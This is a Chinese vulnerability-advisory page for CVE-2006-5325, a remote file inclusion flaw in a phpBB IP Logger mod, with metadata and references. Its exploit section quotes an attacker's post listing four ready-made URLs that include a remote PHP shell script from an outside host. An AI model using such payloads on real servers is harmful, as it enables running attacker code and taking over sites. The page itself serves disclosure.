phpBB dwingmods Dimitri Seitz Security Suite IP Logger多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1193148 漏洞类型 未知
发布时间 2006-10-17 更新时间 2006-10-17
CVE编号 CVE-2006-5325 CNNVD-ID CNNVD-200610-293
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://www.securityfocus.com/bid/87571
https://cxsecurity.com/issue/WLB-2006100100
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-293
|漏洞详情
phpBBdwingmods的DimitriSeitzSecuritySuiteIPLogger中的多个PHP远程文件包含漏洞,远程攻击者可以通过includes/目录下(1)mkb.php,(2)iplogger.php,(3)admin_board2.php或(4)admin_logger.php的phpbb_root_path参数包含的URL来执行任意PHP代码。
|漏洞EXP
# Author: ReeM HacK
# Security Suite IP Logger Remote File Inclusion Vulnerability
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.arab4services.com
# Remote File Inclusion - Security Suite IP Logger

http://site.com/[path]/includes/mkb.php?phpbb_root_path=http://www.arab4
services.com/c-h.v2.txt?ls

http://site.com/[path]/includes/iplogger.php?phpbb_root_path=http://www.
arab4services.com/c-h.v2.txt?ls

http://site.com/[path]/includes/admin_board2.php?phpbb_root_path=http://
www.arab4services.com/c-h.v2.txt?ls

http://site.com/[path]/includes/admin_logger.php?phpbb_root_path=http://
www.arab4services.com/c-h.v2.txt?ls

# Download: http://www.phpbb.de/viewtopic.php?t=30261

------------------------------------------------------------------------
-
thanx to

super crystal

arab services team
|受影响的产品
Dimitri Seitz Security Suite Ip Logger 0
|参考资料

来源:BUGTRAQ
名称:20061012SecuritySuiteIPLoggerRemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/448447/100/0/threaded
来源:SREASON
名称:1736
链接:http://securityreason.com/securityalert/1736